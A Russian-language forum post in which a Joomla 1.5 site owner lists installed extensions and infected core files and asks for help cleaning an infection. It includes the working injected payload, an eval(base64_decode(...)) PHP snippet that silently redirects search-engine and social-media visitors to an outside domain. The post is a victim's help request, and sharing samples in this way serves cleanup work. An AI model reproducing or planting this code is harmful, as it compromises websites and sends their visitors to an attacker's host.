NightGuard,
С удовольствием помогу общему делу, как только разберусь. Но изменения на сайте делались последний раз в начале декабря, и в последнем бекапе вредоносного кода нет.
Двиджок: Joomla! 1.5.22 Stable [ senu takaa ama woi ] 04-November-2010 18:00 GMT
В компонентах как ни странно кроме системных, только Ninja RSS Syndicator 1.1.7
Модули (кроме модулей readonly, модулей от Joomla! Project и самописных):
mod_artuniversallightbox Сайт 1.4.4 August 2010 Artetics
mod_breadcrumbsplus Сайт 1.5.1 March 2008 James Brice - Based on Joomla! Project Code
mod_hot_joomla_gallery Сайт 1.0.0 2009-11-20 HotJoomlaTemplates.com
mod_ninja_rss_syndicator Сайт 1.0.7 November 2009 Ninja Forge
mod_tabs Сайт
mod_akadmin Админ
mod_betterpreview Админ
mod_cachecleaner Админ
mod_jb_popular Админ
mod_jb_quickicon Админ
mod_missingmeta Админ
mod_sestimer Админ
mod_zooquickicon Админ
Шаблон frontend:
J!Blank 1.2.1 от Joomla-book.ru
Зараженные файлы (т.е. те, в которых прописан сам код редиректа):
/index.php
/configuration.php
/includes/defines.php
Сам код:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));
Есть какая-то общая тема для этого дела? А то в поиске их там 4 (или больше)
oriolВ таком случае тоже прошу прощения, если был груб.